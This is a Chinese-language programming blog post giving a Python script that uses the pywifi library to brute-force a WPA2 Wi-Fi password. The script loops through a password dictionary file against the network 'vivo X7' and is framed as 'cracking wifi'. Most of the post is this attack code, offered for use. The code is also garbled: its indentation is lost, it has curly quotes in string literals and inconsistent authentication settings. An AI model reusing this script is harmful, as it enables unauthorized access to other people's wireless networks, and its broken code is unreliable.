1. 程式人生 > 程式設計 >python 利用pywifi模組實現連線網路破解wifi密碼實時監控網路

python 利用pywifi模組實現連線網路破解wifi密碼實時監控網路

python 利用pywifi模組實現連線網路破解wifi密碼實時監控網路,具體內容如下:

import pywifi
from pywifi import *
import time
def CrackWifi(password):
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0] # 取一個無限網絡卡
# 是否成功的標誌
isok = True
if(iface.status()!=const.IFACE_CONNECTED):
  profile = pywifi.Profile()
  profile.ssid = 'vivo X7'
  profile.auth = const.AUTH_ALG_OPEN     #需要祕密
  profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密型別
  profile.cipher = const.CIPHER_TYPE_CCMP   #加密單元
  #profile.key = '123456789'         #在此輸入你的wifi密碼
  profile.key = password
  #time.sleep(3)
  wifi = pywifi.PyWiFi()
  iface = wifi.interfaces()[0] # 取一個無限網絡卡
  profile = iface.add_network_profile(profile)
  iface.connect(profile)
  time.sleep(3)    #程式休眠時間3秒;如果沒有此句,則會列印連線失敗,因為它需要一定的檢測時間
  if iface.status()==const.IFACE_CONNECTED:
    print("連線成功!!!")
  else:
    print("連線失敗!!!")
    isok=False
  return isok
else:
  print("已經連線網路")
  return isok
#CrackWifi()
def PasswordFile():
pathfile=“H:/wififile.txt” #你的密碼字典
files=open(pathfile,‘r')
while True:
fp=files.readline()
if not fp:
break
 wifipass = fp[:-1]
  print(wifipass)
  if CrackWifi(wifipass):
   break
while True:
PasswordFile()
time.sleep(5)

總結

以上所述是小編給大家介紹的python 利用pywifi模組實現連線網路破解wifi密碼實時監控網路,希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時回覆大家的。在此也非常感謝大家對我們網站的支援!

如果你覺得本文對你有幫助,歡迎轉載,煩請註明出處,謝謝!